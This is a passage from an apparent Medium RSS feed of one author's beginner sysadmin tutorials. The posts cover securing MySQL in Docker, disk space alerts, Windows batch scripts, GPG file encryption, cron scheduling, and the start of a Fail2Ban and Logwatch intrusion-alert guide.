your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0730dc3fd84a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Exposing MySQL with Docker Is a Bad Idea]]></title>
            <link>https://medium.com/@tshenolomos/why-exposing-mysql-with-docker-is-a-bad-idea-833df5c7f073?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/833df5c7f073</guid>
            <category><![CDATA[stay-safe]]></category>
            <category><![CDATA[docker-networking]]></category>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Thu, 25 Dec 2025 19:42:16 GMT</pubDate>
            <atom:updated>2025-12-25T19:48:49.551Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUFz7xsjzh-1fWL0MOdv-Q.png" /></figure><p>If you have ever run this command:</p><pre>docker run -p 3306:3306 mysql</pre><p>and thought, <em>“Nice, MySQL is running and I can connect!”</em> — you are not wrong. <strong>It works. </strong>But it also quietly opens the door to <strong>serious security risks</strong>, especially if you’re running this on a laptop, server, or cloud VM.</p><p>In this post, we will break down <strong>why this setup is insecure</strong>, what can go wrong, and <strong>simple ways to fix it-</strong>without overcomplicating things.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><p><a href="https://youtube.com/shorts/sDeaARyHRWc">- YouTube</a></p><h4>What This Command Actually Does</h4><p>Let’s unpack it:</p><pre>docker run -p 3306:3306 mysql</pre><ul><li>mysql → starts a MySQL container</li><li>-p 3306:3306 → maps <strong>host port 3306</strong> to <strong>container port 3306</strong></li></ul><h4>What This Means</h4><p>Your MySQL database is now:</p><ul><li>Accessible from your host machine</li><li>Accessible from <strong>anywhere that can reach your host’s IP</strong></li></ul><p>If this is:</p><ul><li>A cloud VM</li><li>A shared server</li><li>A laptop on public Wi‑Fi</li></ul><p>You have just exposed MySQL to the world.</p><h4>Why This Is Insecure</h4><p><strong>1. MySQL Is Now Publicly Reachable</strong></p><p>Anyone can try:</p><pre>mysql -h your-ip-address -u root</pre><p>Even if authentication fails, attackers can:</p><ul><li>Scan the port</li><li>Brute-force credentials</li><li>Exploit MySQL vulnerabilities</li></ul><p><strong>2. Default Credentials Are Common</strong></p><p>Many quick setups use:</p><ul><li>`root` user</li><li>Weak or reused passwords</li></ul><p>Bots <strong>actively scan the internet</strong> for open MySQL ports.</p><p>This is not theoretical — it happens constantly.</p><p><strong>3. No Network Isolation</strong></p><p>By default:</p><ul><li>Port binding bypasses Docker’s internal network isolation</li><li>MySQL is no longer “container-internal”</li></ul><p>You lose one of Docker’s biggest security benefits.</p><h3>When Is This Ever Acceptable?</h3><p>There are <strong>very limited cases</strong> where this is okay:</p><ul><li>Local development</li><li>Offline laptop</li><li>Temporary testing</li></ul><p>Even then, it’s better to use safer alternatives.</p><h4>How to Fix It (Properly)</h4><p><strong>Option 1: Bind to Localhost Only (Quick Win</strong>)</p><p>Instead of exposing MySQL to all interfaces, bind it to `127.0.0.1`:</p><pre>docker run -p 127.0.0.1:3306:3306 mysql</pre><ul><li>MySQL is accessible <strong>only from your machine</strong></li><li>Not reachable from the network</li></ul><p>This is the <strong>minimum fix</strong> for local development.</p><p><strong>Option 2: Use Docker Networks (Best Practice)</strong></p><p>Create a private Docker network:</p><pre>docker network create backend</pre><p>Run MySQL <strong>without exposing ports</strong>:</p><pre>docker run - network backend - name mysql mysql</pre><p>Then connect from another container:</p><pre>docker run - network backend your-app</pre><p>Use `mysql` as the hostname.</p><ul><li>MySQL is completely private</li><li>No exposed ports</li></ul><p><strong>Option 3: Use Docker Compose</strong></p><p>Docker Compose makes this clean and readable:</p><pre>version: &quot;3.8&quot;<br>services:<br>  mysql:<br>    image: mysql<br>    environment:<br>      MYSQL_ROOT_PASSWORD: strongpassword<br>    networks:<br>      - backend<br><br>  app:<br>    image: your-app<br>    networks:<br>      - backend<br><br>networks:<br>  backend:</pre><p>No port exposure required.</p><p><strong>Option 4: Secure Remote Access (If You Really Need It)</strong></p><p>If MySQL <strong>must</strong> be accessed remotely:</p><ul><li>Use a firewall</li><li>Restrict IP addresses</li><li>Disable root login remotely</li><li>Enforce strong passwords</li><li>Use SSL/TLS</li><li>Prefer SSH tunneling</li></ul><p>Example SSH tunnel:</p><pre>ssh -L 3306:localhost:3306 user@server</pre><h4>Common Anti-Patterns to Avoid</h4><ul><li>`-p 3306:3306` on production servers</li><li>Using `root` for applications</li><li>No firewall rules</li><li>No password rotation</li></ul><h4>Key Takeaways</h4><ul><li><strong>Working ≠ Secure</strong></li><li>`-p 3306:3306` exposes MySQL to the network</li><li>Docker networks are safer than port publishing</li><li>Localhost binding is the bare minimum</li><li>SSH tunnels beat open ports</li></ul><h4>Call to Action</h4><p>Take a moment today and check your Docker containers:</p><pre>docker ps</pre><p>If you see exposed database ports — <strong>fix them now</strong>.</p><p>If you found this helpful:</p><ul><li>Try the safer setup</li><li>Share it with a teammate</li><li>Use it as a reminder: <strong>convenience should never trump security</strong></li></ul><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=833df5c7f073" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Set Up Real-Time Disk Space Alerts]]></title>
            <link>https://medium.com/@tshenolomos/set-up-real-time-disk-space-alerts-34ba9ba19813?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/34ba9ba19813</guid>
            <category><![CDATA[disk-space]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[alerts]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 03:39:58 GMT</pubDate>
            <atom:updated>2025-08-24T03:39:58.573Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gx0G16kBTuY3MN-JRLvnUw.png" /></figure><h3>💡 Introduction</h3><p>Running out of disk space can crash applications, stop services, or even prevent your server from booting. Instead of discovering the problem <em>after</em> things break, you can set up <strong>real-time disk space alerts</strong> to warn you when storage usage gets too high.</p><p>In this guide, you’ll learn how to set up a simple but effective disk space monitoring system on Linux.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOzWImZd8eyI&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOzWImZd8eyI" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/916b203401816ae02499f44b9a05b4d2/href">https://medium.com/media/916b203401816ae02499f44b9a05b4d2/href</a></iframe><h3>🛠️ Why Real-Time Alerts Matter</h3><ul><li><strong>Prevent downtime</strong>: Stop services from failing due to lack of space.</li><li><strong>Avoid data loss</strong>: Ensure logs and databases can still write data.</li><li><strong>Plan ahead</strong>: Schedule cleanups before you hit critical limits.</li></ul><h3>🔧 Step-by-Step: Setting Up Alerts</h3><h3>1. Check Current Disk Usage</h3><p>Run:</p><pre>df -h</pre><p>This shows your current disk usage in human-readable format.</p><h3>2. Create a Disk Monitoring Script</h3><p>We’ll create a script that sends an alert if disk usage exceeds a set threshold.</p><pre>#!/bin/bash<br>THRESHOLD=80  # alert if usage is over 80%<br>EMAIL=&quot;admin@example.com&quot;<br>for partition in $(df -h --output=target | tail -n +2); do<br>  usage=$(df -h --output=pcent &quot;$partition&quot; | tail -1 | tr -d &#39;% &#39;)<br>  if [ &quot;$usage&quot; -ge &quot;$THRESHOLD&quot; ]; then<br>    echo &quot;WARNING: $partition is ${usage}% full&quot; | mail -s &quot;Disk Space Alert&quot; $EMAIL<br>  fi<br>done</pre><p><strong>Make it executable:</strong></p><pre>chmod +x /usr/local/bin/disk_alert.sh</pre><h3>3. Install mail Command (If Not Installed)</h3><ul><li><strong>Debian/Ubuntu</strong>:</li></ul><pre>sudo apt install mailutils</pre><ul><li><strong>RHEL/CentOS</strong>:</li></ul><pre>sudo yum install mailx</pre><h3>4. Automate with Cron</h3><p>To run this script every 5 minutes:</p><pre>crontab -e</pre><p>Add:</p><pre>*/5 * * * * /usr/local/bin/disk_alert.sh</pre><h3>5. (Optional) Real-Time Monitoring with inotify</h3><p>If you need <strong>instant</strong> alerts when files change:</p><pre>sudo apt install inotify-tools<br>inotifywait -m /path/to/watch</pre><p>You can combine this with your alert script to trigger immediately.</p><h3>📊 Example Output</h3><p>When usage exceeds your set threshold, you’ll receive an email:</p><pre>Subject: Disk Space Alert<br>WARNING: / is 85% full</pre><h3>📅 Maintenance Tips</h3><ul><li>Regularly delete old logs or archive them.</li><li>Use tools like ncdu to find large files.</li><li>Set different thresholds for different partitions.</li></ul><h3>📆 Conclusion</h3><p>By setting up real-time disk space alerts, you’ll protect your system from unexpected crashes, plan maintenance before space runs out, and keep your applications running smoothly.</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34ba9ba19813" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Run Custom Commands on Windows]]></title>
            <link>https://medium.com/@tshenolomos/run-custom-commands-on-windows-68a481666e20?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/68a481666e20</guid>
            <category><![CDATA[command-line]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[batch-script]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 16:36:03 GMT</pubDate>
            <atom:updated>2025-07-27T16:36:03.964Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sv6gqSYnZZC4z2ymG_a4LQ.png" /></figure><h3>🚀 Introduction</h3><p>Do you find yourself running the same commands repeatedly in Windows? Whether it’s pushing code to GitHub, syncing files, or launching apps, repetitive tasks can eat up your time. The good news? You can write simple .bat scripts and run them from anywhere by adding their folder to your system&#39;s PATH. This guide will show you how to set that up and share some useful script examples to supercharge your productivity.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dre4FmHGIULg&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fre4FmHGIULg" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6faa3bd47c03ce8265beea91ee564727/href">https://medium.com/media/6faa3bd47c03ce8265beea91ee564727/href</a></iframe><h3>📀 What is a .bat File?</h3><p>A .bat (batch) file is a script file in Windows that contains a series of commands executed by the command-line interpreter. It&#39;s a quick way to automate tasks.</p><h3>📂 Step 1: Create a Scripts Folder</h3><p>Pick a central location for your custom scripts. For example:</p><pre>C:\scripts</pre><p>Save your .bat files here.</p><p>For example, Open your favorite text editor add the following code and save the file as datetime.bat</p><pre>@echo off<br>echo Today is: %date%<br>echo Current time is: %time%<br>pause</pre><h3>🗺️ Step 2: Add Your Folder to the Windows PATH</h3><p>This lets you run scripts like datetime from <strong>any</strong> command prompt window.</p><h3>✅ Here’s how:</h3><ol><li>Press Win + S, search for &quot;Environment Variables&quot; and open &quot;Edit the system environment variables&quot;.</li><li>In the System Properties window, click the Environment Variables button.</li><li>Under “System variables” or “User variables”, find and select the Path variable.</li><li>Click Edit, then New.</li><li>Add the full path to your scripts folder (e.g., C:\scripts).</li><li>Click OK until all dialogs are closed.</li><li>Open a new Command Prompt and test by typing:</li></ol><pre>datetime</pre><h3>🧪 Script Example 1: Git Auto Commit</h3><p>Use this to quickly update and push your latest code changes.</p><pre>@echo off<br>cd C:\github\resources<br>git add .<br>git commit -m &quot;Updated&quot;<br>git push</pre><p>📌 Save as: updatelogs.bat. and run updatelogs to push your latest code changes.</p><h3>📂 Script Example 2: Open Projects Folder</h3><p>Instantly open your main coding folder in File Explorer.</p><pre>@echo off <br>start explorer C:\projects</pre><p>📌 Save as: openprojects.bat and run openprojects to open projects folder</p><h3>🔁 Script Example 3: Backup Documents</h3><p>Back up your Documents folder with the current date as the folder name.</p><pre>@echo off<br>set DEST=C:\Backups\%date:~-4,4%-%date:~4,2%-%date:~7,2%<br>xcopy C:\Users\%USERNAME%\Documents %DEST% /E /I /Y</pre><p>📌 Save as: backupdocs.bat and run backupdocs to backup your documents.</p><h3>🌐 Script Example 4: Launch Websites</h3><p>Quickly launch your favorite websites in the default browser.</p><pre>@echo off<br>start https://chat.openai.com<br>start https://github.com<br>echo Websites launched!</pre><p>📌 Save as: openweb.bat and run openweb to launch your favorite websites.</p><h3>⚡ Script Example 5: Clear Temp Files</h3><p>Remove unnecessary temporary files to free up space.</p><pre>@echo off<br>del /q /f %TEMP%\*<br>echo Temp files cleared.</pre><p>📌 Save as: cleartemp.bat</p><h3>🚄 Script Example 6: Open Daily Apps</h3><p>Launch your favorite daily work apps in one go.</p><pre>@echo off<br>start notepad.exe<br>start chrome.exe<br>start code.exe</pre><p>📌 Save as: startday.bat</p><h3>⌛ Script Example 7: Shutdown Timer</h3><p>Schedule your computer to shut down in 1 hour.</p><pre>@echo off<br>shutdown -s -t 3600<br>echo Your PC will shut down in 1 hour.</pre><p>📌 Save as: shutdown1h.bat</p><h3>📱 Script Example 8: Ping Test</h3><p>Run a quick connectivity test to Google’s servers.</p><pre>@echo off<br>ping google.com -n 5<br>pause</pre><p>📌 Save as: pinggoogle.bat</p><h3>💾 Script Example 9: Save IP Address to File</h3><p>Capture your system’s IP configuration into a log file.</p><pre>@echo off<br>ipconfig &gt; C:\scripts\iplog.txt<br>echo IP address saved to iplog.txt</pre><p>📌 Save as: saveip.bat</p><h3>📋 Script Example 10: List Installed Programs</h3><p>Generate a list of installed programs and save it to a file.</p><pre>@echo off<br>wmic product get name,version &gt; C:\scripts\installed_programs.txt<br>echo Program list saved.</pre><p>📌 Save as: listprograms.bat</p><h3>🛠 Tips for Script Management</h3><ul><li>Keep script names short and meaningful: pushlog, openweb, runbuild</li><li>Use echo to display steps and progress</li><li>Add comments in your .bat files using REM or ::</li><li>Use pause at the end to keep the window open for review</li></ul><h3>✅ Key Takeaways</h3><ul><li>.bat files are a powerful way to automate repetitive tasks in Windows</li><li>Add your scripts folder to the PATH for easy access from any terminal</li><li>Combine simple commands to create personalized tools for your workflow</li></ul><h3>🙌 Try It Out</h3><p>Set up your scripts folder, add it to your PATH, and create your first .bat script today. Let your terminal work for you!</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68a481666e20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Encrypt Files with GPG]]></title>
            <link>https://medium.com/@tshenolomos/how-to-encrypt-files-with-gpg-ba29ee3bb7de?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba29ee3bb7de</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[gpg]]></category>
            <category><![CDATA[public-key]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[encryption]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sun, 06 Jul 2025 03:04:45 GMT</pubDate>
            <atom:updated>2025-07-06T03:04:45.804Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pzrbTRsqMqYUshf2R44i6Q.png" /></figure><h3>🚫 Got Sensitive Files? Here’s How to Keep Them Safe</h3><p>Have you ever needed to share or store a sensitive file — like tax documents, personal notes, or confidential work reports — and worried about who might access it? You’re not alone. File-level encryption is a simple but powerful way to secure data, and GPG (GNU Privacy Guard) is a tool that makes it both accessible and robust.</p><p>In this guide, we’ll walk you through encrypting and decrypting files using GPG, so you can protect your data with confidence.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DdPIOZqV0TRQ&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FdPIOZqV0TRQ" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/82578eaa6cc9258da7f2896b5cc0414e/href">https://medium.com/media/82578eaa6cc9258da7f2896b5cc0414e/href</a></iframe><h3>⚖️ What is GPG?</h3><p>GPG (GNU Privacy Guard) is a free, open-source tool that lets you encrypt, decrypt, and sign files or messages using a system based on public and private keys. It supports both symmetric and asymmetric encryption:</p><ul><li><strong>Symmetric Encryption</strong>: Uses a passphrase to encrypt/decrypt.</li><li><strong>Asymmetric Encryption</strong>: Uses a public key for encryption and a private key for decryption.</li></ul><p>For most quick personal encryption needs, symmetric is easiest. For sharing encrypted files with others, asymmetric is ideal.</p><h3>🔧 Installation</h3><h3>On Ubuntu/Debian:</h3><pre>sudo apt install gnupg</pre><h3>On macOS (using Homebrew):</h3><pre>brew install gnupg</pre><h3>On Windows:</h3><ul><li>Download and install Gpg4win from <a href="https://gpg4win.org/">https://gpg4win.org</a></li></ul><h3>🔐 Encrypting Files with GPG</h3><h3>1. Symmetric Encryption (with Passphrase)</h3><p>This is great for personal use or if both parties agree on a password.</p><pre>gpg -c filename.txt</pre><ul><li>You’ll be prompted to create a passphrase.</li><li>Output: filename.txt.gpg</li></ul><h3>2. Asymmetric Encryption (with Public Key)</h3><p>This method requires the recipient’s public key.</p><p><strong>Step A: Import recipient’s public key</strong></p><pre>gpg --import recipient_pubkey.asc</pre><p><strong>Step B: Encrypt the file</strong></p><pre>gpg -e -r &quot;Recipient Name&quot; filename.txt</pre><ul><li>Output: filename.txt.gpg</li></ul><h3>🔓 Decrypting Files with GPG</h3><h3>1. Symmetric Decryption</h3><pre>gpg filename.txt.gpg</pre><ul><li>Enter the same passphrase used during encryption.</li></ul><h3>2. Asymmetric Decryption</h3><pre>gpg filename.txt.gpg</pre><ul><li>You must have your private key that matches the public key used to encrypt.</li></ul><h3>✅ Best Practices</h3><ul><li><strong>Use strong passphrases</strong> for symmetric encryption.</li><li><strong>Keep your private key safe</strong> and never share it.</li><li><strong>Verify public keys</strong> before importing.</li><li><strong>Don’t store passwords in plaintext</strong>.</li></ul><h3>📅 Real-World Use Cases</h3><ul><li>Encrypting backups</li><li>Protecting attachments before emailing</li><li>Securing personal documents on USB drives</li><li>Sending encrypted data across cloud storage</li></ul><h3>✨ Conclusion</h3><p>GPG offers a simple yet powerful way to encrypt files for both personal and professional use. Whether you’re protecting a diary entry or securing a business contract, GPG has your back.</p><p>Try it out today, and take control of your data security!</p><h3>⭐ Key Takeaways</h3><ul><li>GPG supports both symmetric and asymmetric encryption</li><li>Encrypting and decrypting files can be done in one line</li><li>Always safeguard your private keys and passphrases</li></ul><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba29ee3bb7de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Automate Tasks with Cron]]></title>
            <link>https://medium.com/@tshenolomos/how-to-automate-tasks-with-cron-70ae1443357a?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/70ae1443357a</guid>
            <category><![CDATA[cronjob]]></category>
            <category><![CDATA[cron]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[crontab]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 01:26:29 GMT</pubDate>
            <atom:updated>2025-07-01T02:18:51.229Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfzMRQAXmaAShRjCEUr4dg.png" /></figure><p>Have you ever found yourself repeating the same command every morning? Maybe backing up a directory, running a script, or cleaning up logs? If yes, you’re not alone and you’re wasting time. Luckily, Linux offers a simple solution: <strong>cron jobs</strong>.</p><p>In this guide, we’ll explore what cron jobs are, why they matter, and how you can use them to automate your Linux tasks like a pro.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZOnJjfkFaoA&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZOnJjfkFaoA" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2aa6734aded69977037d52e791125958/href">https://medium.com/media/2aa6734aded69977037d52e791125958/href</a></iframe><h3>What is a Cron Job?</h3><p>A <strong>cron job</strong> is a scheduled task that runs automatically at specified intervals on Unix-like systems. It uses the <strong>cron daemon</strong> (crond), which constantly runs in the background and checks if any scheduled tasks need to be executed.</p><h3>Why Use Cron Jobs?</h3><p>Here are some common reasons people use cron jobs:</p><ul><li>Automate backups</li><li>Rotate and clean up log files</li><li>Run custom scripts at specific times</li><li>Monitor system health</li><li>Send reports via email</li></ul><p>Cron jobs save time, reduce human error, and ensure consistency.</p><h3>Cron Syntax Breakdown</h3><p>A cron expression has <strong>five time fields</strong> followed by the command to run:</p><pre>* * * * * /path/to/command<br>│ │ │ │ │<br>│ │ │ │ └───── Day of week (0 - 7) (Sunday = 0 or 7)<br>│ │ │ └──────── Month (1 - 12)<br>│ │ └────────── Day of month (1 - 31)<br>│ └──────────── Hour (0 - 23)<br>└────────────── Minute (0 - 59)</pre><h3>Examples</h3><pre>| Schedule  | Cron Syntax     | Description                           |<br>|-----------|------------------|--------------------------------------|<br>| Every min | `* * * * *`      | Runs every minute                    |<br>| Hourly    | `0 * * * *`      | Runs at the top of every hour        |<br>| Daily     | `0 0 * * *`      | Runs daily at midnight               |<br>| Weekly    | `0 0 * * 0`      | Runs every Sunday at midnight        |<br>| Monthly   | `0 0 1 * *`      | Runs on the 1st of every month       |<br>| Custom    | `30 9 * * 1-5`   | Runs at 9:30 AM, Monday–Friday       |</pre><h3>How to Create and Manage Cron Jobs</h3><h3>Step 1: Open the Crontab File</h3><p>To edit your personal cron jobs execute the following command in your terminal:</p><pre>crontab -e</pre><p>This opens your user’s crontab file in the default text editor.</p><h3>Step 2: Add a New Job</h3><p>Insert the following entry into your crontab file to run a backup script every day at midnight</p><pre>0 0 * * * /home/tshenolo/scripts/backup.sh</pre><h3>Step 3: Save and Exit</h3><p>Save the file and close the editor. The cron service will automatically load the new job.</p><h3>Step 4: List Existing Cron Jobs</h3><pre>crontab -l</pre><h3>Step 5: Remove All Cron Jobs</h3><pre>crontab -r</pre><h3>Best Practices</h3><ul><li>Always use full paths for commands and scripts.</li><li>Redirect output and errors to log files:</li></ul><p>0 2 * * * /home/user/cleanup.sh &gt;&gt; /var/log/cleanup.log 2&gt;&amp;1</p><ul><li>Test your command before scheduling it.</li><li>Use environment variables inside scripts when needed.</li><li>Document your cron entries for future reference.</li></ul><h3>Real-World Examples</h3><h3>Example 1: System Monitoring Log</h3><pre>*/15 * * * * /usr/local/bin/system_check.sh &gt;&gt; /var/log/system_check.log</pre><h3>Example 2: Send Email Every Morning</h3><pre>0 8 * * * /usr/bin/python3 /home/user/email_report.py</pre><h3>Example 3: Delete Temp Files Weekly</h3><pre>0 3 * * 0 rm -rf /tmp/*</pre><h3>Troubleshooting Tips</h3><ul><li>Check the system log: /var/log/syslog or /var/log/cron</li><li>Make sure scripts are executable: chmod +x script.sh</li><li>Use full paths to all binaries and files</li><li>Cron uses a minimal PATH; specify required environments in your script</li></ul><h3>Conclusion: Start Automating Today</h3><p>Cron jobs are one of the simplest and most effective automation tools in Linux. Whether you’re a developer, system admin, or just someone who wants to save time — learning to use cron can make your life a lot easier.</p><p>🎯 <strong>Your Turn</strong>: Set up your first cron job today. Start with something small, like writing the date to a file every hour:</p><pre>0 * * * * date &gt;&gt; /home/user/hourly_date.txt</pre><p>If you found this helpful, please <strong>share this post</strong>, leave a comment, or try automating a task on your system.</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70ae1443357a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Stop Hackers Fast with Automated Intrusion Alerts on Linux]]></title>
            <link>https://medium.com/@tshenolomos/how-to-stop-hackers-fast-with-automated-intrusion-alerts-on-linux-9d776bdeb4ed?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d776bdeb4ed</guid>
            <category><![CDATA[security-tips]]></category>
            <category><![CDATA[intrusion-detection]]></category>
            <category><![CDATA[logwatch]]></category>
            <category><![CDATA[fail2ban]]></category>
            <category><![CDATA[linux-security]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sat, 31 May 2025 03:30:37 GMT</pubDate>
            <atom:updated>2025-05-31T03:30:37.567Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5jPvvlYdiU_uGGuBWL0Cg.png" /></figure><p>Want to get notified the moment someone tries to break into your server? Setting up automated alerts can help you respond to threats faster and keep your systems secure.</p><p>This guide walks you through three practical methods to configure intrusion alerts using Fail2Ban, Logwatch, and custom shell scripts.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dc6ory04EG2E&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fc6ory04EG2E" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/bbc41459cfbb4336761bed5eaca927b4/href">https://medium.com/media/bbc41459cfbb4336761bed5eaca927b4/href</a></iframe><h3>1. Set Up Email Alerts with Fail2Ban</h3><p>Fail2Ban monitors log files and automatically blocks IPs that show signs of malicious behavior, like failed SSH login attempts. You can configure it to send you email alerts when an IP gets banned.</p><h3>Step 1: Install Fail2Ban and Mailutils</h3><pre>sudo apt update<br>sudo apt install fail2ban mailutils -y</pre><h3>Step 2: Configure Fail2Ban</h3><p>Create or edit the local jail configuration:</p><pre>sudo vim /etc/fail2ban/jail.local</pre><p>Add the following configuration for SSH:</p><pre>[sshd]<br>enabled = true<br>port = ssh<br>filter = sshd<br>logpath = /var/log/auth.log<br>maxretry = 3<br>action = %(action_mwl)s<br>destemail = your@email.com<br>sendername = Fail2Ban<br>mta = sendmail</pre><h3>Step 3: Restart Fail2Ban</h3><pre>sudo systemctl restart fail2ban</pre><p>Now, every time an IP is banned, you’ll get an email with the logs attached.</p><h3>2. Get Daily Reports with Logwatch</h3><p>Logwatch provides a daily summary of system logs, including failed login attempts, sudo access, and more.</p><h3>Step 1: Install Logwatch</h3><pre>sudo apt install logwatch -y</pre><h3>Step 2: Run Logwatch Manually (Optional)</h3><pre>sudo logwatch --detail High 